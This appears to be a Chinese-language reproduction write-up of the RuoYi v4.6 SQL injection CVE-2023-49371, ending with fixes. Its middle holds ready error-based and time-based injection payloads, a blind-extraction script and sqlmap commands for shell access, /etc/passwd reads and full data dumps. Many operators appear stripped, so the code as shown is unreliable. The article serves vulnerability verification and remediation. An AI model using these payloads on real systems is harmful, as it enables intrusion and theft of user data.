RuoYi v4.6 SQL注入漏洞(CVE-2023-49371)复现:2种手工验证与Sqlmap自动化测试 RuoYi v4.6 SQL注入漏洞实战验证从手工注入到自动化测试RuoYi作为国内广泛使用的后台管理系统框架其安全性直接影响众多企业级应用。2023年底曝光的CVE-2023-49371漏洞揭示了该系统在4.6版本中存在高危SQL注入风险。本文将带您深入漏洞本质通过两种手工验证方法和Sqlmap自动化测试构建完整的漏洞验证体系。1. 漏洞环境搭建与基础认知搭建测试环境是验证漏洞的第一步。我们需要获取存在漏洞的RuoYi v4.6版本源码配置完整的运行环境。环境准备步骤从GitHub官方仓库下载指定版本源码wget https://github.com/yangzongzhuan/RuoYi/archive/refs/tags/v4.6.0.zip unzip v4.6.0.zip数据库初始化MySQL示例CREATE DATABASE ry CHARACTER SET utf8mb4; USE ry; source /path/to/quartz.sql; source /path/to/ry_20201214.sql;修改配置文件application-druid.ymldruid: master: url: jdbc:mysql://localhost:3306/ry?useSSLfalse username: root password: yourpassword启动系统mvn spring-boot:run漏洞接口分析漏洞位于/system/dept/edit接口问题出在ancestors参数的未过滤处理。当这个参数值被直接拼接到SQL语句中时就形成了典型的注入点。2. 手工验证方法一报错注入技术报错注入是利用数据库错误信息泄露数据的经典技术。对于CVE-2023-49371我们可以通过精心构造的Payload触发数据库报错并获取敏感信息。操作流程使用Burp Suite拦截部门编辑请求POST /system/dept/edit HTTP/1.1 Content-Type: application/x-www-form-urlencoded deptName测试部门status0ancestors0修改ancestors参数为注入Payloadancestors0)or(extractvalue(1,concat(0x7e,(select user()),0x7e)));#观察响应中的错误信息error messageXPATH syntax error: ~rootlocalhost~/message /errorPayload解析组件作用extractvalue(1,...)触发XML解析错误concat(0x7e,...)添加分隔符(~)增强可读性select user()目标查询语句#注释掉原SQL剩余部分进阶技巧获取表名...select table_name from information_schema.tables where table_schemadatabase() limit 0,1...提取字段...select column_name from information_schema.columns where table_namesys_user limit 0,1...数据获取...select login_name from sys_user limit 0,1...3. 手工验证方法二时间盲注技术当目标系统屏蔽错误信息时时间盲注成为有效替代方案。通过观察响应延迟判断注入结果。实施步骤构造时间判断Payloadancestors0)or(if(ascii(substr(database(),1,1))100,sleep(3),0));#使用计时器测量响应时间import requests import time start time.time() requests.post(http://target/system/dept/edit, data{ancestors: payload}) print(f响应时间{time.time()-start:.2f}秒)二分法自动化猜解def blind_injection(pos): low, high 32, 126 while low high: mid (low high) // 2 payload f0)or(if(ascii(substr(database(),{pos},1)){mid},sleep(2),0));# if test_payload(payload): low mid 1 else: high mid - 1 return chr(mid)结果判断标准响应时间推断结果3秒条件为真1秒条件为假4. Sqlmap自动化测试实战对于需要快速验证或大规模测试的场景Sqlmap提供了完整的自动化解决方案。基础检测命令sqlmap -u http://target/system/dept/edit --datadeptNameteststatus0ancestors0 -p ancestors --risk3 --level5高级参数组合参数作用示例值--dbms指定数据库类型MySQL--os-shell获取系统shell---file-read读取服务器文件/etc/passwd--tamper使用脚本绕过WAFspace2comment典型输出解析Parameter: ancestors (POST) Type: boolean-based blind Title: MySQL 5.0 boolean-based blind - Parameter replace Payload: ancestors0) OR 11# Type: time-based blind Title: MySQL 5.0.12 time-based blind - Parameter replace Payload: ancestors0) OR SLEEP(5)#结果导出选项sqlmap ... --output-dir./results --dump-all --batch5. 漏洞修复与防护建议验证漏洞后及时修复才能消除风险。以下是针对不同场景的解决方案。临时缓解措施WAF规则示例Nginxlocation ~ /system/dept/edit { if ($args ~* ancestors.*[()\#]) { return 403; } }数据库权限限制CREATE USER ruoyi% IDENTIFIED BY StrongPassword!; GRANT SELECT, INSERT ON ry.* TO ruoyi%; REVOKE DROP, FILE, EXECUTE ON *.* FROM ruoyi%;代码级修复方案参数白名单校验public String checkAncestors(String input) { if (!input.matches(^[0-9,]$)) { throw new IllegalArgumentException(非法参数); } return input; }MyBatis改造建议!-- 原始危险写法 -- update idupdateDept UPDATE sys_dept SET ancestors${ancestors} WHERE dept_id#{deptId} /update !-- 修复后安全写法 -- update idupdateDept UPDATE sys_dept SET ancestors#{ancestors} WHERE dept_id#{deptId} /update长期防护策略建立SDL流程在需求阶段识别注入风险定期安全培训重点讲解#{}与${}区别自动化扫描集成SQL注入检测到CI/CD流程最小权限原则数据库账户严格限制在实际测试过程中发现时间盲注的稳定性优于报错注入特别是在网络环境不稳定的情况下。对于使用特殊字符过滤的系统采用0x十六进制编码往往能绕过基础防御。